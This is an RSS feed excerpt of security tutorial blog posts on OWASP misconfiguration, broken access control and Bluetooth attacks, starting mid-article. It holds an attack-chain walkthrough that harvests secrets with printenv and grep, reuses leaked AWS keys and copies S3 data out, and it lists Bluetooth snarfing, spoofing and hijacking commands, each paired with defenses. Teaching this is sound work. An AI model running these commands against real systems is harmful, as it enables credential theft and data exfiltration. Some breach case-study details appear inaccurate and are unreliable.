logs<br>- name: Deploy<br>  run: |<br>    echo &quot;API Key: ${{ secrets.API_KEY }}&quot;  # This gets logged<br>    curl -H &quot;Authorization: Bearer ${{ secrets.TOKEN }}&quot; https://api.target.com</pre><blockquote>If logs are public (public repo), those secrets are exposed.</blockquote><p><strong>Safe pattern:</strong></p><pre>- name: Deploy<br>  env:<br>    API_KEY: ${{ secrets.API_KEY }}<br>  run: |<br>    # Use the env variable, never echo it<br>    ./deploy.sh</pre><h3>Environment Variable Exposure</h3><pre># If CI/CD server exposes environment:<br>printenv | grep -i &quot;key\|secret\|token\|password\|api\|aws&quot;</pre><h3>13. Real-World Breach Case Studies</h3><h3>Capital One (2019) — $80 Million Fine</h3><p><strong>What happened:</strong> A former AWS employee exploited a misconfigured Web Application Firewall. The WAF allowed SSRF (Server-Side Request Forgery) requests, which the attacker used to access the EC2 metadata service and steal IAM credentials. With those credentials, they accessed over <strong>100 million customer records</strong> from S3.</p><p><strong>Root causes:</strong></p><ul><li>WAF misconfigured to not block SSRF requests</li><li>IAM role with excessive S3 permissions attached to the EC2 instance</li><li>No anomaly detection on unusual S3 access patterns</li></ul><p><strong>Lesson:</strong> Even a single SSRF vulnerability, combined with an over-permissive IAM role, can expose an entire cloud environment. Defense in depth matters at every layer.</p><h3>Tesla Kubernetes Exposure (2018)</h3><p><strong>What happened:</strong> Security researchers discovered Tesla’s Kubernetes dashboard was publicly accessible with no authentication. Inside the cluster, they found AWS credentials in environment variables. They used those credentials to spin up EC2 instances for cryptocurrency mining.</p><p><strong>Root causes:</strong></p><ul><li>Kubernetes dashboard exposed to internet</li><li>No authentication on the dashboard</li><li>AWS credentials stored as plaintext environment variables</li></ul><p><strong>Lesson:</strong> Administrative dashboards must never be directly internet-accessible. Credentials must never be in environment variables without encryption.</p><h3>MongoDB Ransom Campaigns (2017, repeated)</h3><p><strong>What happened:</strong> Attackers scanned the internet for MongoDB instances on port 27017. Tens of thousands had no authentication enabled — MongoDB’s default at the time. Attackers connected, deleted the data, and left ransom notes demanding payment to recover it.</p><p><strong>Root causes:</strong></p><ul><li>MongoDB default configuration had no authentication</li><li>Instances were directly internet-accessible</li><li>No backups in many cases</li></ul><p><strong>Lesson:</strong> Never trust default configurations. Database instances should never be internet-accessible. Authentication must be explicitly configured, not assumed.</p><h3>Facebook (2021) — 533 Million Records</h3><p><strong>What happened:</strong> Customer data from 533 million Facebook users was leaked through misconfigured cloud storage accessible to the public.</p><p><strong>Lesson:</strong> Regular cloud storage audits are non-negotiable. Automated tooling (ScoutSuite, Prowler) should run on every environment continuously.</p><h3>14. The Full Attack Chain — A Real-World Scenario</h3><p>Let’s walk through a realistic attack that chains multiple misconfigurations together. This is exactly how real breaches happen.</p><p><strong>Target:</strong> A mid-sized e-commerce company. Let’s call them ShopCo.</p><h4><strong>Step 1: Reconnaissance</strong></h4><pre>subfinder -d shopco.com -o subs.txt<br>cat subs.txt | httpx -status-code -title</pre><p>Output includes: jenkins.shopco.com (200 OK, title: &quot;Jenkins&quot;)</p><h4><strong>Step 2: Access Jenkins</strong></h4><p>Navigate to http://jenkins.shopco.com:8080. The login page appears, but there&#39;s also a &quot;Continue as guest&quot; link. Anonymous access is enabled.</p><p>The attacker can view build history. Recent builds show the deploy pipeline for production. In the build logs:</p><pre>[deploy.sh] Connecting to database...<br>DB_PASSWORD=Sh0pC0Pr0d2024!<br>DB_HOST=prod-db.shopco.internal</pre><p>A database password just fell out of a build log.</p><h4><strong>Step 3: Pivot to Cloud</strong></h4><p>In the Jenkins environment variables panel (readable by guests):</p><pre>AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE<br>AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY</pre><h4><strong>Step 4: S3 Enumeration</strong></h4><pre>aws configure  # enters stolen credentials</pre><pre>aws s3 ls  # lists all accessible buckets<br># shopco-customer-backups  (interesting)<br># shopco-media  (boring)<br># shopco-logs  (very interesting)</pre><pre>aws s3 ls s3://shopco-customer-backups<br># customers_2024_full.sql.gz (12GB)<br># api_keys_export.csv</pre><h4><strong>Step 5: Data Exfiltration</strong></h4><pre>aws s3 cp s3://shopco-customer-backups/customers_2024_full.sql.gz .<br>aws s3 cp s3://shopco-customer-backups/api_keys_export.csv .</pre><p>Full customer database. API keys. Exfiltrated in minutes.</p><h4><strong>What went wrong at each step:</strong></h4><p>Step Misconfiguration Fix Jenkins found No authentication on admin panel Require auth for all Jenkins access Credentials in logs Secrets printed to build output Use Jenkins credentials plugin, never echo AWS keys in env Credentials stored as plaintext env vars Use IAM instance roles or Secrets Manager S3 accessible Overly permissive IAM role Least privilege — only the permissions actually needed No detection No alerting on unusual S3 access CloudTrail + GuardDuty + anomaly detection</p><h3>15. Hardening Checklist</h3><h3>Application</h3><ul><li>[ ] Debug mode disabled in production</li><li>[ ] Generic error messages only (no stack traces to users)</li><li>[ ] All test/sample/admin endpoints removed or authenticated</li><li>[ ] Security headers present on all responses</li><li>[ ] Version information removed from headers and responses</li><li>[ ] Cookies set with Secure, HttpOnly, SameSite=Strict</li><li>[ ] No sensitive data stored in cookies</li><li>[ ] CORS whitelist explicitly defined (no * with credentials)</li></ul><h3>Infrastructure</h3><ul><li>[ ] All default credentials changed immediately</li><li>[ ] Unnecessary ports closed (firewall rules reviewed)</li><li>[ ] Directory listing disabled on all web servers</li><li>[ ] HTTP methods restricted to only what’s needed</li><li>[ ] SSL/TLS properly configured (TLS 1.2+ only, strong ciphers)</li><li>[ ] Admin interfaces behind VPN or IP whitelist</li></ul><h3>Cloud</h3><ul><li>[ ] All storage buckets private by default</li><li>[ ] IAM policies following least privilege principle</li><li>[ ] No credentials in environment variables (use secrets managers)</li><li>[ ] Security groups reviewed — no 0.0.0.0/0 on sensitive ports</li><li>[ ] Database instances have no public IP</li><li>[ ] CloudTrail logging enabled</li><li>[ ] GuardDuty or equivalent threat detection enabled</li></ul><h3>Containers</h3><ul><li>[ ] Containers run as non-root user</li><li>[ ] No --privileged flag in production</li><li>[ ] Docker socket not mounted in containers</li><li>[ ] Base images regularly updated and scanned</li><li>[ ] Read-only root filesystem where possible</li></ul><h3>Kubernetes</h3><ul><li>[ ] Anonymous access disabled</li><li>[ ] Dashboard not internet-accessible</li><li>[ ] RBAC reviewed — no wildcard permissions</li><li>[ ] Secrets encrypted at rest in etcd</li><li>[ ] etcd not publicly accessible</li><li>[ ] Network policies defined</li></ul><h3>CI/CD</h3><ul><li>[ ] Jenkins requires authentication (no guest/anonymous access)</li><li>[ ] Build logs don’t contain secrets</li><li>[ ] GitHub Actions secrets not echoed to logs</li><li>[ ] Pipeline permissions follow least privilege</li></ul><h3>Monitoring</h3><ul><li>[ ] Continuous automated scanning (Nuclei, Prowler, ScoutSuite)</li><li>[ ] Alerts on configuration changes</li><li>[ ] Configuration drift detection enabled</li><li>[ ] Regular manual audits scheduled</li></ul><h3>16. OWASP CWE Mapping</h3><p>CWE Description Common Example CWE-16 Configuration Debug mode in production CWE-200 Information Disclosure Stack traces, version headers CWE-276 Incorrect Default Permissions Public S3 buckets CWE-284 Improper Access Control Kubernetes anonymous access CWE-311 Missing Encryption HTTP-only cookies, unencrypted storage CWE-315 Plaintext Storage in Cookie Sensitive data in unencrypted cookies CWE-614 Missing Secure Flag in Cookie Session cookies without Secure flag CWE-732 Incorrect Resource Permissions Overly permissive IAM policies CWE-1004 Missing HttpOnly Flag Session cookies accessible to JavaScript CWE-611 XXE Misconfiguration XML parsers with external entity processing</p><h3>17. Final Thoughts</h3><p>Here’s the uncomfortable truth about security misconfiguration: it’s not a technical problem. It’s a process problem.</p><p>The vulnerabilities themselves aren’t complex. Default credentials. Open ports. Missing headers. Public buckets. These aren’t sophisticated bypasses. They’re basic hygiene failures that happen at scale because teams move fast, default to convenience, and don’t build security into their deployment process.</p><p>The organizations that get breached because of misconfiguration aren’t necessarily incompetent. They’re usually just operating without the right processes:</p><ul><li>No automated scanning as part of CI/CD</li><li>No infrastructure-as-code enforcing secure defaults</li><li>No configuration drift detection</li><li>No regular audit cycle</li></ul><p>The organizations that don’t get breached aren’t smarter — they’ve just made security automatic rather than manual. Every new environment deploys with secure defaults enforced by code. Secrets go through a vault, not environment variables. Pipelines fail if security headers are missing. Cloud configurations are scanned continuously.</p><p>Security misconfiguration rose to #2 on OWASP because our infrastructure got more complex faster than our processes to secure it. The answer isn’t to slow down. The answer is to automate security so it keeps up.</p><p>Attackers don’t need exploits for this class of vulnerability. They just need to find what you forgot to lock.</p><p><em>This blog covers OWASP A02:2025 — Security Misconfiguration from beginner fundamentals through advanced exploitation techniques. The tool commands and techniques described are for authorized security testing only. Always obtain explicit permission before testing any system you don’t own.</em></p><p><strong>Tags:</strong> OWASP Top 10 2025, Security Misconfiguration, A02:2025, Penetration Testing, Bug Bounty, Cloud Security, Kubernetes Security, Docker Security, CORS, Cookie Security, Jenkins Security, AWS Misconfiguration, Nuclei, Nmap, Burp SuiteA02:2025 — Security Misconfiguration: The Mistake That Doesn’t Need a Hacker</p><blockquote><strong><em>“You don’t need a zero-day. You don’t need elite skills. You just need a misconfigured server and five minutes.”</em></strong></blockquote><h3>White Panther :</h3><p>Follow for More : <a href="https://www.instagram.com/intelithics">Intelithics</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fc8e014993f6" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/part-3-owasp-a02-security-misconfiguration-the-complete-guide-to-detection-exploitation-and-fc8e014993f6">Part 3. OWASP A02 Security Misconfiguration: The Complete Guide to Detection, Exploitation, and…</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PART 2. OWASP A01 Broken Access Control: Understanding IDOR, Authorization Flaws, and Privilege…]]></title>
            <link>https://systemweakness.com/part-2-owasp-a01-broken-access-control-understanding-idor-authorization-flaws-and-privilege-6489fe9e5e48?source=rss-1d4bcfe23d96------2</link>
            <guid isPermaLink="false">https://medium.com/p/6489fe9e5e48</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[medium]]></category>
            <dc:creator><![CDATA[Intelithics]]></dc:creator>
            <pubDate>Mon, 01 Jun 2026 16:30:26 GMT</pubDate>
            <atom:updated>2026-06-02T16:56:49.703Z</atom:updated>
            <content:encoded><![CDATA[<h3>PART 2. OWASP A01 Broken Access Control: Understanding IDOR, Authorization Flaws, and Privilege Escalation Attacks</h3><h3>1. Introduction</h3><p>Imagine living in an apartment building where every resident has a key to their own room. Now imagine that by simply changing the room number written on a keycard, anyone could enter any apartment in the building.</p><blockquote>That is exactly what Broken Access Control looks like in web applications.</blockquote><p>A user logs into an application legitimately, but due to poor authorization checks, they can access data, accounts, or functionality that should be restricted. Unlike many technical vulnerabilities that require sophisticated exploitation, Broken Access Control often allows attackers to compromise sensitive systems using simple request manipulation.</p><p>This is one of the reasons why the Open Web Application Security Project (OWASP) ranked Broken Access Control as the #1 risk in the OWASP Top 10 (A01:2021).</p><p>In this article, we’ll explore what Broken Access Control is, how attackers exploit it, real-world incidents, and practical ways organizations can prevent it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*c-pCvuhfv9TKnAo-babMeA.png" /></figure><h3>Understanding Access Control</h3><p>Before discussing vulnerabilities, let’s understand how access control works. Every secure application relies on three fundamental security components:</p><h4>a. Authentication</h4><p>Authentication answers the question:</p><h4><strong>“Who are you?”</strong></h4><p><strong>Examples:</strong></p><ul><li>Username and password</li><li>Single Sign-On (SSO)</li><li>Multi-Factor Authentication (MFA)</li></ul><p>The goal is to verify the user’s identity.</p><h4>b. Session Management</h4><p>Once authenticated, the application needs to remember who the user is.</p><p><strong>This is achieved using:</strong></p><ul><li>Session cookies</li><li>JWT tokens</li><li>Session IDs</li></ul><p>Without proper session management, authenticated users cannot maintain their login state across requests.</p><h4>c. Authorization</h4><p>Authorization answers:</p><p><strong>“What are you allowed to do?”</strong></p><p>Examples:</p><ul><li>Can this user view customer records?</li><li>Can this user delete accounts?</li><li>Can this user access the admin panel?</li></ul><p>Authorization is where Broken Access Control typically occurs.</p><h4>Difference Between Authentication AND Authorization:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*-78KsziIW2CTjBkzVFGjVA.png" /></figure><h3>2. What Is Broken Access Control?</h3><p>Broken Access Control occurs when an application fails to properly enforce restrictions on authenticated users.</p><blockquote>As a result, attackers can:</blockquote><ul><li>View sensitive information</li><li>Modify data belonging to others</li><li>Perform administrative actions</li><li>Access restricted resources</li><li>Escalate privileges</li></ul><p><strong>In simple terms:</strong></p><blockquote><em>The application knows who the user is but fails to verify what they are allowed to do.</em></blockquote><h3>3. Types of Access Control</h3><h4>1. Vertical Access Control</h4><p>Vertical access control separates users based on privilege levels.</p><p><strong>Example:</strong></p><p>RolePermissionsUserView own profileManagerManage teamAdministratorFull system control</p><blockquote>A normal user should never be able to access administrative functions.</blockquote><h4># Vertical Privilege Escalation</h4><p>When a regular user gains administrative privileges, it is called:</p><p><strong>Vertical Privilege Escalation</strong></p><p><strong>Example:</strong></p><p>A normal user discovers:</p><pre>https://company.com/admin</pre><blockquote>If the application does not verify the user’s role on the server side, the user gains administrative access simply by visiting the URL.</blockquote><h4>2. Horizontal Access Control</h4><p>Horizontal access control restricts users from accessing other users’ data.</p><p><strong>Example:</strong></p><p>A banking customer should only see their own account balance.</p><blockquote>If Customer A can view Customer B’s records, the application suffers from a horizontal access control failure.</blockquote><h4>3. Context-Dependent Access Control</h4><p>Some actions must occur in a specific sequence.</p><p><strong>Example:</strong></p><pre>Add item to cart<br>      ↓<br>Checkout<br>      ↓<br>Payment<br>      ↓<br>Order confirmation</pre><blockquote>If attackers can skip steps and directly invoke privileged functionality, access control has failed.</blockquote><h4>The Most Common Broken Access Control Attack: IDOR</h4><p>One of the most dangerous and common access control flaws is:</p><h3>4. Insecure Direct Object Reference (IDOR)</h3><p><strong>Consider this URL:</strong></p><pre>https://bank.com/account?id=1001</pre><p><strong>The server returns:</strong></p><pre>John&#39;s Account Details</pre><p><strong>An attacker changes the request:</strong></p><pre>https://bank.com/account?id=1002</pre><blockquote>If the application returns another customer’s account information without verifying ownership, the attacker has successfully exploited an IDOR vulnerability.</blockquote><p>The attack requires no malware, no sophisticated exploit code, and often no special tools.</p><p><strong><em>Just changing a number.</em></strong></p><h3>5. Security Through Obscurity: Why Hidden URLs Don’t Work</h3><p>Many developers believe hiding administrative URLs improves security.</p><p><strong><em>Example:</em></strong></p><pre>/admin-panel-x9f7k2</pre><h4><strong>The problem?</strong></h4><p>Attackers can discover hidden endpoints through:</p><ul><li>JavaScript files</li><li>Source code leaks</li><li>Browser developer tools</li><li>Proxy tools</li><li>Directory brute-forcing</li></ul><h4>Security professionals call this:</h4><p>Security Through Obscurity</p><p>Hidden URLs are not security controls.</p><p>Proper authorization checks are.</p><h3>6. Parameter Manipulation Attacks</h3><p>Attackers often inspect requests looking for privilege indicators.</p><p><strong><em>Example:</em></strong></p><pre>https://app.com/dashboard?role=user</pre><p><strong>An attacker changes:</strong></p><pre>role=user</pre><p><strong>to</strong></p><pre>role=admin</pre><blockquote>If the server trusts the client-side value, privilege escalation becomes trivial.</blockquote><h4>Never trust:</h4><ul><li>Query parameters</li><li>Hidden fields</li><li>Cookies</li><li>Client-side JavaScript</li></ul><p>Authorization decisions must always be enforced on the server.</p><h3>7. Multi-Step Workflow Bypass</h3><p>Applications frequently implement sensitive operations through multiple steps.</p><p><strong><em>Example:</em></strong></p><h4>Step 1</h4><p>Open account modification page</p><h4>Step 2</h4><p>Submit updated information</p><h4>Step 3</h4><p>Confirm changes</p><p><strong><em>Many developers protect steps 1 and 2 but forget step 3.</em></strong></p><p>An attacker can directly send a crafted request to step 3 and bypass the entire workflow.</p><h4>This is commonly seen in:</h4><ul><li>Financial applications</li><li>E-commerce systems</li><li>Password reset processes</li><li>Account management portals</li></ul><h3>8. Real-World Broken Access Control Incidents</h3><p>Theory is useful. Reality is far more convincing.</p><h4>Facebook (2013)</h4><p>Security researcher Khalil Shreateh discovered a vulnerability that allowed any user to delete photos from other Facebook accounts.</p><p>The flaw was caused by improper authorization validation.</p><p>Even though users were authenticated, Facebook failed to verify whether they were authorized to perform the deletion.</p><p><strong><em>Impact:</em></strong></p><ul><li>Unauthorized modification of user content</li><li>Demonstrated severe authorization failure</li></ul><h4>Instagram (2019)</h4><p>Researchers discovered an IDOR vulnerability affecting Instagram APIs.</p><p>Attackers could manipulate identifiers in requests and access private stories and private content belonging to other users.</p><p><strong><em>Impact:</em></strong></p><ul><li>Privacy violations</li><li>Exposure of sensitive user content</li></ul><h4>GitHub (2022)</h4><p>GitHub disclosed a privilege escalation vulnerability that allowed users to obtain permissions beyond what was intended within repositories.</p><p><strong><em>Impact:</em></strong></p><ul><li>Unauthorized repository access</li><li>Potential source code exposure</li></ul><h4>Optus Breach (2022)</h4><p>One of Australia’s largest telecommunications providers suffered a massive breach.</p><p>Attackers exploited an exposed API endpoint lacking proper authorization validation. Nearly 10 million customer records were exposed.</p><p><strong>Data included:</strong></p><ul><li>Names</li><li>Phone numbers</li><li>Email addresses</li><li>Identity document information</li></ul><blockquote>This became one of the most significant examples of an IDOR-style access control failure in recent years.</blockquote><h3>9. Why Broken Access Control Is So Dangerous</h3><p>Unlike many vulnerabilities, Broken Access Control directly impacts all three pillars of information security.</p><h4>Confidentiality</h4><p>Attackers access sensitive information.</p><p><strong><em>Examples:</em></strong></p><ul><li>Customer records</li><li>Medical data</li><li>Financial information</li></ul><h4>Integrity</h4><p>Attackers modify or delete information.</p><p><strong><em>Examples:</em></strong></p><ul><li>Change account settings</li><li>Delete files</li><li>Alter transactions</li></ul><h4>Availability</h4><p>Attackers disrupt operations.</p><p><strong><em>Examples:</em></strong></p><ul><li>Delete databases</li><li>Disable user accounts</li><li>Modify system configurations</li></ul><h3>10. How Organizations Can Prevent Broken Access Control</h3><h3>1. Enforce Server-Side Authorization</h3><p>Every request must be validated on the server.</p><h4>Never rely on:</h4><ul><li>Hidden fields</li><li>Client-side JavaScript</li><li>URL restrictions</li></ul><blockquote>The server must independently verify permissions.</blockquote><h3>2. Apply the Principle of Least Privilege (PoLP)</h3><p>Users should receive only the permissions required for their role.</p><p><em>Example:</em></p><p>A customer support representative does not need database administrator privileges.</p><p>Reducing permissions limits attack impact.</p><h3>3. Implement Role-Based Access Control (RBAC)</h3><p>Instead of assigning permissions individually:</p><pre>User<br>Manager<br>Administrator</pre><p>Assign permissions to roles and assign users to roles.</p><blockquote>This simplifies authorization management and reduces mistakes.</blockquote><h3>4. Use Multi-Factor Authentication (MFA)</h3><p>MFA cannot fix authorization flaws directly.</p><p>However, it significantly reduces the likelihood of account compromise leading to privilege abuse.</p><h3>5. Audit Access Control Regularly</h3><p>Organizations should periodically review:</p><ul><li>User permissions</li><li>Role assignments</li><li>Access logs</li><li>Administrative actions</li></ul><blockquote>Many privilege escalation issues originate from forgotten permissions.</blockquote><h3>6. Test for IDOR and Authorization Flaws</h3><p>Security assessments should specifically test:</p><ul><li>IDOR vulnerabilities</li><li>Horizontal privilege escalation</li><li>Vertical privilege escalation</li><li>Workflow bypasses</li><li>API authorization weaknesses</li></ul><blockquote>Manual penetration testing remains extremely effective because many authorization flaws are business-logic driven and difficult for automated scanners to detect completely.</blockquote><h3>7. Centralize Authorization Logic</h3><p>One of the most common development mistakes is implementing access control checks throughout the application.</p><p><strong><em>Instead:</em></strong></p><ul><li>Centralize authorization mechanisms</li><li>Use middleware</li><li>Use framework authorization policies</li></ul><blockquote>This reduces inconsistencies and human error.</blockquote><h3>PRACTICAL LABS :</h3><p><a href="https://tryhackme.com/room/introwebapplicationsecurity">TryHackMe Lab 1</a></p><p><a href="https://tryhackme.com/room/owaspbrokenaccesscontrol">TryHackMe Lab 2</a></p><p><a href="https://portswigger.net/web-security/access-control">Porstwigger Lab</a></p><h3>Final Thoughts</h3><p>Broken Access Control remains the most dangerous web application vulnerability because it attacks the foundation of trust itself.</p><p>Attackers don’t always need sophisticated exploits, malware, or zero-days. Sometimes all they need is a modified URL, a changed parameter, or an API request the application forgot to validate.</p><p>The most effective defense is simple in concept but difficult in execution:</p><blockquote><strong>Never trust the client. Validate every request. Enforce authorization on the server.</strong></blockquote><p>Whether you’re a developer, security engineer, penetration tester, or bug bounty hunter, understanding Broken Access Control is essential because nearly every modern application depends on authorization logic — and history has repeatedly shown that when access control fails, the consequences can be catastrophic.</p><h3>White Panther :</h3><p>Follow for More : <a href="https://www.instagram.com/intelithics">Intelithics</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6489fe9e5e48" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/part-2-owasp-a01-broken-access-control-understanding-idor-authorization-flaws-and-privilege-6489fe9e5e48">PART 2. OWASP A01 Broken Access Control: Understanding IDOR, Authorization Flaws, and Privilege…</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Part 1 :Bluetooth Pentesting Playbook: Attacks, Tools, and Defense-in-Depth by Intelithics]]></title>
            <link>https://systemweakness.com/part-1-bluetooth-pentesting-playbook-attacks-tools-and-defense-in-depth-by-intelithics-a8a1f7698d7e?source=rss-1d4bcfe23d96------2</link>
            <guid isPermaLink="false">https://medium.com/p/a8a1f7698d7e</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bluetooth-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[medium]]></category>
            <dc:creator><![CDATA[Intelithics]]></dc:creator>
            <pubDate>Thu, 30 Apr 2026 13:03:38 GMT</pubDate>
            <atom:updated>2026-04-30T14:26:19.252Z</atom:updated>
            <content:encoded><![CDATA[<p>Bluetooth is super convenient — it powers everything from your earbuds to smart home devices. But that convenience comes with hidden risks. If you’re not careful, attackers can quietly listen in, access your data, or even take control of connected devices. Most people don’t think about it, but understanding these risks is key to keeping your personal data and privacy safe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MwClikevwqheP1Z6g1401g.jpeg" /></figure><h4>The Most Common Bluetooth Security Threats</h4><p>Understanding prevalent Bluetooth threats and applying robust countermeasures is essential to protect our devices and sensitive data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/304/1*0aQiztSST4fZjQRa9DEnwA.jpeg" /></figure><h3>1. BlueJacking (User Interaction Abuse)</h3><p>BlueJacking involves sending unsolicited messages to a Bluetooth-enabled device. While it does not typically provide access to the device’s files, it can be used to prank or annoy you.</p><blockquote><strong>Category:</strong> Social Engineering / Low Impact<br> <strong>Vector:</strong> OBEX Push / Message Injection</blockquote><p><strong>What happens:</strong></p><p>Attacker sends unsolicited payloads (text, vCard, URL). No direct compromise, but used as initial access lure</p><h4><strong>Example:</strong></h4><ul><li>Attacker sends a fake “system alert” with a phishing URL in a crowded area.</li></ul><h4><strong>Tools (Testing / Red Team):</strong></h4><pre># Bluesnarfer suite (legacy but useful in labs)<br>bluesnarfer -r 1-10 -b &lt;target_mac&gt;</pre><pre># Bluetooth message spam (Linux)<br>hcitool scan<br>sdptool browse &lt;MAC&gt;</pre><p><strong>Defense:</strong></p><ul><li>Disable OBEX push</li><li>Non-discoverable mode</li><li>Reject unknown requests</li></ul><h3>2. BlueSnarfing (Data Exfiltration)</h3><p>This type of attack targets a mobile phone to compromise its security and extract stored data, including contacts, calendar details, images, and other sensitive information. Some devices are more vulnerable to this attack if they do not require a PIN or have weak security settings.</p><blockquote><strong>Category:</strong> Broken Access Control (OWASP A01)</blockquote><p><strong>What happens:</strong><br> Unauthorized access to:</p><ul><li>Contacts</li><li>SMS</li><li>Files</li></ul><h4><strong>Example:</strong></h4><ul><li>Old Android device leaking contacts via OBEX without authentication.</li></ul><h4><strong>Tools:</strong></h4><pre>bluesnarfer -b &lt;target_mac&gt; -c 1-50</pre><pre>btobex -b &lt;MAC&gt; -p telecom/pb.vcf</pre><h4><strong>Defense:</strong></h4><ul><li>Enforce authentication for OBEX</li><li>Disable legacy Bluetooth profiles</li><li>Patch outdated firmware</li></ul><h3>3. MAC Address Spoofing (Identity Impersonation)</h3><p>This attack occurs before encryption is established, during the generation of link keys. Attackers can spoof <a href="https://systemweakness.com/part4-data-link-layer-explained-a-deep-dive-into-protocols-error-control-and-mac-653365eea6b7">MAC addresses</a> to bypass authentication and connect to the target device, allowing them to intercept or modify data.</p><blockquote><strong>Category:</strong> Identification &amp; Authentication Failures</blockquote><p><strong>What happens:</strong><br> Attacker clones BD_ADDR to:</p><ul><li>Bypass ACLs</li><li>Hijack trusted sessions</li></ul><h4><strong>Example:</strong></h4><ul><li>Spoofing a trusted smartwatch to connect to a phone</li></ul><h4><strong>Tools:</strong></h4><pre>bdaddr -i hci0 &lt;spoofed_mac&gt;<br>hciconfig hci0 up</pre><h4><strong>Defense:</strong></h4><ul><li>Use <strong>Bluetooth LE Privacy (randomized MACs)</strong></li><li>Enforce link-layer encryption</li><li>Monitor device fingerprint anomalies</li></ul><h3>4. PIN Cracking (Weak Pairing Security)</h3><p>This attack targets the device pairing process. If weak PINs are used, attackers can attempt to guess the PIN and gain unauthorized access to paired devices.</p><blockquote><strong>Category:</strong> Weak Cryptography</blockquote><p><strong>What happens:</strong><br> Brute-force or sniff pairing to recover PIN.</p><h4><strong>Example:</strong></h4><ul><li>Legacy 4-digit PIN cracked in seconds</li></ul><h4><strong>Tools:</strong></h4><pre>crackle -i capture.pcap</pre><pre>ubertooth-btle -f -c capture.pcap</pre><h4><strong>Defense:</strong></h4><ul><li>Use Secure Simple Pairing (SSP)</li><li>Avoid legacy pairing modes</li><li>Enforce numeric comparison</li></ul><h3>5. BlueBump (Session Persistence Attack)</h3><p>The BlueBump attack involves <a href="https://www.forbes.com/sites/technology/article/what-is-social-engineering/">social engineering</a>, where the attacker establishes a trusted connection by, for example, sending a business card and forcing authentication. After keeping the connection open, the attacker prompts the victim to delete the link key, unaware that the connection remains active. The attacker then regenerates the link key, allowing continued access without re-authentication, as long as the key is not deleted again.</p><blockquote><strong>Category:</strong> Session Management Failure</blockquote><p><strong>What happens:</strong><br> Attacker:</p><ol><li>Establishes trust</li><li>Forces link key deletion on victim</li><li>Maintains hidden connection</li></ol><h4><strong>Example:</strong></h4><ul><li>Persistent access to headset without re-pairing</li></ul><h4><strong>Tools:</strong></h4><ul><li>Custom L2CAP scripts</li><li>Modified BlueZ stack</li></ul><h4><strong>Defense:</strong></h4><ul><li>Monitor active connections</li><li>Force re-authentication policies</li><li>Disable unused services</li></ul><h3>6) BluePrinting6. BluePrinting (Reconnaissance / OSINT Phase)</h3><p>BluePrinting is a Bluetooth security threat where attackers gather information about a device based on its unique Bluetooth address (BD_ADDR). They use tools to extract details like the device’s manufacturer, model, and firmware version. By analyzing the first three bytes of the BD_ADDR, they can identify the manufacturer and exploit potential device vulnerabilities for unauthorized access.</p><blockquote><strong>Category:</strong> Information Disclosure</blockquote><p><strong>What happens:</strong><br> Extract device fingerprint:</p><ul><li>Vendor</li><li>Firmware</li><li>Stack version</li></ul><h4><strong>Example:</strong></h4><ul><li>Identifying vulnerable chipset (e.g., Broadcom stack)</li></ul><h4><strong>Tools:</strong></h4><pre>hcitool info &lt;MAC&gt;<br>sdptool browse &lt;MAC&gt;</pre><pre>bluelog</pre><p><strong>Defense:</strong></p><ul><li>Randomize BD_ADDR</li><li>Limit SDP exposure</li><li>Disable unnecessary profiles</li></ul><h3>7. BlueBugging (Full Device Control)</h3><p>The attack targets the <a href="https://en.wikipedia.org/wiki/List_of_Bluetooth_protocols">Radio Frequency Communication</a> protocol, which facilitates virtual serial connections using the Logical Link Control and Adaptation Protocol and the baseband layer to emulate RS-232 communication. By exploiting this protocol, the attacker gains access to the device’s “AT” commands — special attention commands used to control the module. With this access, the attacker can execute actions on the device as if they were the legitimate owner, effectively taking full control.</p><blockquote><strong>Category:</strong> Remote Code Execution / Command Injection</blockquote><p><strong>What happens:</strong><br> Attacker gains AT command access:</p><ul><li>Make calls</li><li>Send SMS</li><li>Access mic</li></ul><h4><strong>Example:</strong></h4><ul><li>Old phones controlled via RFCOMM channel</li></ul><h4><strong>Tools:</strong></h4><pre>rfcomm connect 0 &lt;MAC&gt; 1<br>minicom -D /dev/rfcomm0</pre><h4><strong>Defense:</strong></h4><ul><li>Disable RFCOMM if unused</li><li>Patch firmware</li><li>Enforce authenticated channels</li></ul><h3>8. BlueBorne (Zero-Click RCE)</h3><p>BlueBorne is a collection of <a href="https://isc.sans.edu/diary/29522">Bluetooth vulnerabilities</a>, including a stack buffer overflow flaw in the processing of pending client L2CAP configuration responses. These vulnerabilities allow attackers to hijack Bluetooth connections, gain control over a device’s content and functions, and spread malware. Notably, BlueBorne attacks can succeed even if the device is not actively paired, requiring only the target’s MAC and Bluetooth addresses.</p><blockquote><strong>Category:</strong> Memory Corruption (OWASP A03 Injection / A05 Security Misconfig)</blockquote><p><strong>What happens:</strong><br> Exploits Bluetooth stack vulnerabilities:</p><ul><li>No pairing required</li><li>Wormable spread</li></ul><h4><strong>Example:</strong></h4><ul><li>Android/Linux takeover via L2CAP overflow</li></ul><h4><strong>Tools (Research/Detection):</strong></h4><pre>nmap --script bluetooth-blueborne.nse -p 1-100 